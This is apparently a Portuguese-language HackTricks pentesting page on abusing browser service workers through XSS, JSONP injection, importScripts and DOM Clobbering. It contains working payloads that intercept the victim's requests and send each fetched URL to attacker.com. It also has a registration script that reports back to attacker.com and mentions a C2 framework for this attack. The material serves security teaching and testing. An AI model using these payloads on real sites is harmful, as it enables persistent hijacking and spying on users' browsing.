7.5 KiB
Abusando dos Service Workers
Um service worker é um script que o seu navegador executa em segundo plano, separado de uma página da web, abrindo portas para recursos que não precisam de uma página da web ou interação do usuário. (Mais informações sobre o que é um service worker aqui).
Então, você pode abusar dos service workers criando/modificando-os na sessão da vítima dentro do domínio vulnerável da web que concede ao atacante o controle sobre todas as páginas que a vítima carregará naquele domínio.
Verificar SWs existentes
Você pode vê-los no campo Service Workers na guia Application das Ferramentas do Desenvolvedor. Você também pode olhar em chrome://serviceworker-internals.
Notificações Push
Se a vítima não concedeu permissões de notificações push, o service worker não poderá receber comunicações do servidor se o usuário não acessar a página do atacante novamente. Isso irá prevenir, por exemplo, manter conversas com todas as páginas que acessaram a página da web do atacante, então, se uma exploração for encontrada, o SW pode recebê-la e executá-la.
No entanto, se a vítima conceder permissões de notificações push, isso pode ser um risco.
Ataque criando um Service Worker
Para explorar essa vulnerabilidade, você precisa encontrar:
- Uma maneira de carregar arquivos JS arbitrários no servidor e um XSS para carregar o service worker do arquivo JS carregado
- Uma solicitação JSONP vulnerável onde você pode manipular a saída (com código JS arbitrário) e um XSS para carregar o JSONP com um payload que irá carregar um service worker malicioso.
No exemplo a seguir, vou apresentar um código para registrar um novo service worker que ouvirá o evento fetch e enviará para o servidor do atacante cada URL buscado (este é o código que você precisaria carregar no servidor ou carregar via uma resposta JSONP vulnerável):
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
E este é o código que irá registrar o worker (o código que você deve ser capaz de executar abusando de um XSS). Neste caso, uma solicitação GET será enviada para o servidor do atacante, notificando se o registro do service worker foi bem-sucedido ou não:
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>
No caso de abusar de um ponto de extremidade JSONP vulnerável, você deve colocar o valor dentro de var sw. Por exemplo:
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
Existe um C2 dedicado à exploração de Service Workers chamado Shadow Workers que será muito útil para abusar dessas vulnerabilidades.
Em uma situação de XSS, o limite de diretiva de cache de 24 horas garante que um SW malicioso ou comprometido sobreviva a uma correção da vulnerabilidade XSS por um máximo de 24 horas (supondo que o cliente esteja online). Os operadores do site podem reduzir a janela de vulnerabilidade definindo TTLs mais baixos em scripts SW. Também incentivamos os desenvolvedores a criar um SW de desativação.
Abusando do importScripts em um SW via DOM Clobbering
A função importScripts chamada de um Service Worker pode importar um script de um domínio diferente. Se essa função for chamada usando um parâmetro que um atacante poderia modificar, ele seria capaz de importar um script JS de seu domínio e obter XSS.
Isso até mesmo contorna as proteções CSP.
Exemplo de código vulnerável:
- index.html
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
- sw.js
O arquivo sw.js é um arquivo JavaScript que é executado pelo Service Worker. Ele é responsável por interceptar as solicitações de rede feitas pelo aplicativo e pode ser usado para armazenar em cache recursos para uso offline. O sw.js também pode ser usado para interceptar e manipular solicitações de rede, o que pode ser explorado em ataques de XSS.
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker
Com DOM Clobbering
Para obter mais informações sobre o que é o DOM Clobbering, consulte:
{% content-ref url="dom-clobbering.md" %} dom-clobbering.md {% endcontent-ref %}
Se a URL/domínio que o SW está usando para chamar importScripts estiver dentro de um elemento HTML, é possível modificá-lo via DOM Clobbering para fazer o SW carregar um script do seu próprio domínio.
Para um exemplo disso, consulte o link de referência.
Referências
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.